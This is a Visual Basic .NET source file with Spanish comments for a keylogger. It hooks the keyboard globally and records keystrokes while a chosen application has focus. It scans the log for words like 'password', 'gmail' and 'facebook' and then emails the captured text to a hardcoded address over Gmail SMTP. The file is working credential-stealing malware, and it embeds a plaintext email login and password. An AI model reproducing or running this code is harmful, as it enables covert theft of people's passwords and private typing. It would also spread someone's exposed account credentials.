Imports System.Runtime.InteropServices
Imports System.Net.Mail

Public Class Form1

#Region "Declaración de APIs"
    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
     Private Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProc, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
         Private Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As <MarshalAs(UnmanagedType.Bool)> Boolean
    End Function

    <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
         Private Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
    End Function

    <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _
         Private Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr
    End Function

    <DllImport("user32.dll", SetLastError:=True)> _
    Private Shared Function GetForegroundWindow() As IntPtr
    End Function
#End Region

#Region "Variables"
    Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const WM_KEYDOWN As Integer = &H100
    Private Const WM_KEYUP As Integer = &H101

    Private Shared _proc As New LowLevelKeyboardProc(AddressOf HookCallback) 'Ete aqui nuestro Hook
    Private Shared _hookID As IntPtr = IntPtr.Zero 'Puntero a nuestro Hook

    Private Shared arrVKCodes As ArrayList 'Array List donde se almacenan las teclas "hookeadas"

    'Si en el texto "hookeado" exsiten alguna de las siguientes palabras, se enviará un email con todo
    'el texto hookeado:
    Private Shared PALABRAS_MAGICAS As String() = {"password", "contraseña", "yahoo", _
                                                    "gmail", "hotmail", "msn", _
                                                    "messenger", "ebay", "tuenti", _
                                                    "facebook", "meristation", "forocoches"}

    'Timer que mira si la aplicación está abierta y si además tiene el foco activo
    Private WithEvents mTMRfocusAPP As New Timer

    Private Shared boolAPPHasFocus As Boolean = False
    Private Shared boolAPPRunning As Boolean = False

    'nombre de la clase a la que vamos a "hookear" las teclas
    'Este nombre se puede averiguar con el Spy++ del Visual Studio
    Private Const APP_CLASS_NAME As String = "notepad"
#End Region

#Region "Hook del teclado"
    'Delegado para realizar nuestro "Hook"
    Private Delegate Function LowLevelKeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr

    'Inicializar Hook
    Private Shared Function SetHook(ByVal proc As LowLevelKeyboardProc) As IntPtr
        Using curProcess As Process = Process.GetCurrentProcess()
            Using curModule As ProcessModule = curProcess.MainModule
                Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)
            End Using
        End Using
    End Function

    '¿Que es lo que hacemos dentro de nuestro Hook del teclado?
    'Cada vez que se pulsa una tecla vamos guardando el valor de la tecla pulsada en un arraylist
    'Nota: El código siempre respresenta una tecla en mayuscula, por eso el log se ve en "mayusculas"
    'Este "hook" en particular no sabe distinguir entre si se ha pulsado la tecla "p" o la tecla "P"
    'Para él siempre será la tecla "P"

    Private Shared Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr

        If nCode >= 0 AndAlso wParam = CType(WM_KEYDOWN, IntPtr) Then
            Dim vkCode As Integer = Marshal.ReadInt32(lParam)
            Try
                'solo se "hookean" las teclas cuando la aplicación en cuestion tiene el foco
                If boolAPPHasFocus Then
                    arrVKCodes.Add(CType(vkCode, Byte))
                    'se añade un Line Feed (<LF>, 0x0Ah, 10) cuando se detecta un Carry Return (<CR>, 0x0Dh, 13)
                    If CType(vkCode, Byte) = 13 Then
                        arrVKCodes.Add(CType(10, Byte))
                    End If
                End If

            Catch ex As Exception

            End Try
        End If

        Return CallNextHookEx(_hookID, nCode, wParam, lParam)

    End Function
#End Region

#Region "E-mail"
    Private Shared Sub EnviarEmail()

        'Se crea un fichero "temporal" con todo el texto que se ha "hookeado"
        Dim arrBytes As Byte() = arrVKCodes.ToArray(GetType(Byte))
        Dim strText = System.Text.ASCIIEncoding.ASCII.GetString(arrBytes)
        Dim sFileAttach As String = CarpetaTEMP_Windows() & "Pandora.log"

        If IO.File.Exists(sFileAttach) Then IO.File.Delete(sFileAttach)

        Dim objEscritor = New IO.StreamWriter(sFileAttach, True, System.Text.Encoding.Default)
        objEscritor.Write(strText)
        objEscritor.Flush()
        objEscritor.Close()

        'Envío de un correo electrónico con un archivo adjunto:
        Dim msg As New MailMessage
        'A quien queremos enviar el e-mail (Destinatario)
        msg.To.Add("kikos_es@yahoo.es")
        'msg.To.Add("podemos.añadir.mas.direcciones.adicionales@dominio.com")

        'Remitente del correo:
        msg.From = New MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8)
        'Titulo del correo:
        msg.Subject = "Envio de log de Pandora"
        msg.SubjectEncoding = System.Text.Encoding.UTF8
        'Mensaje del correo:
        msg.Body = "Podemos poner lo que querramos en cuerpo del mensaje"
        msg.BodyEncoding = System.Text.Encoding.UTF8
        msg.IsBodyHtml = False
        'Prioridad:
        msg.Priority = MailPriority.High

        'Cliente SMTP de correo. En este caso los datos del Port y del Host son para el correo
        'de Gmail:
        Dim client As New SmtpClient()
        'Network Credentials para Gmail
        client.Credentials = New System.Net.NetworkCredential("ollydbg.win32@gmail.com", "banditGSF600s")
        client.Port = 587
        client.Host = "smtp.gmail.com"
        client.EnableSsl = True

        'añadimos como attach el fichero con el texto "hookeado"
        Dim data As New Attachment(sFileAttach)
        msg.Attachments.Add(data)

        Try
            'enviar el correo
            client.Send(msg)
        Catch ex As System.Exception

        Finally
            data.Dispose()
        End Try

    End Sub
#End Region

#Region "Miscelanea"
    Private Shared Function HayPalabraMagica() As Boolean
        Dim arrBytes As Byte() = arrVKCodes.ToArray(GetType(Byte))
        Dim strText = System.Text.ASCIIEncoding.ASCII.GetString(arrBytes)
        Dim bExiste As Boolean = False
        strText = strText.ToLower
        For i As Integer = 0 To PALABRAS_MAGICAS.Length - 1
            If strText.Contains(PALABRAS_MAGICAS(i).ToLower) Then
                bExiste = True
                Exit For
            End If
        Next
        Return bExiste
    End Function

    Shared Function CarpetaTEMP_Windows() As String
        Dim s As String
        s = IO.Path.GetTempPath
        If s.EndsWith("\") = False Then s &= "\"
        Return s
    End Function
#End Region

#Region "Timer"
    Private Sub mTMRfocusAPP_Tick(ByVal sender As Object, ByVal e As System.EventArgs) Handles mTMRfocusAPP.Tick
        Try
            Dim psWindows() As Process
            Dim activeWindowHandle As IntPtr = GetForegroundWindow() 'IntPtr.Zero
            psWindows = Process.GetProcesses

            boolAPPRunning = False
            boolAPPHasFocus = False

            For i As Integer = 0 To psWindows.Length - 1
                If psWindows(i).MainWindowHandle = activeWindowHandle Then
                    'Debug.Print(psWindows(i).ProcessName.ToLower)
                    If psWindows(i).ProcessName.ToLower = APP_CLASS_NAME.ToLower Then
                        boolAPPHasFocus = True
                        boolAPPRunning = True
                        Exit For
                    End If
                End If
                If psWindows(i).ProcessName.ToLower = APP_CLASS_NAME.ToLower Then
                    boolAPPRunning = True
                End If
            Next

            If boolAPPRunning = False And arrVKCodes.Count > 0 Then
                If HayPalabraMagica() Then
                    EnviarEmail()
                End If
                arrVKCodes = New ArrayList
            End If
        Catch ex As System.Exception

        End Try
    End Sub
#End Region

#Region "Eventos a nivel de Form: Load() y FormClosing()"
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        mTMRfocusAPP.Interval = 250
        mTMRfocusAPP.Enabled = True

        arrVKCodes = New ArrayList

        _hookID = SetHook(_proc)
    End Sub

    Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
        UnhookWindowsHookEx(_hookID)
    End Sub
#End Region

End Class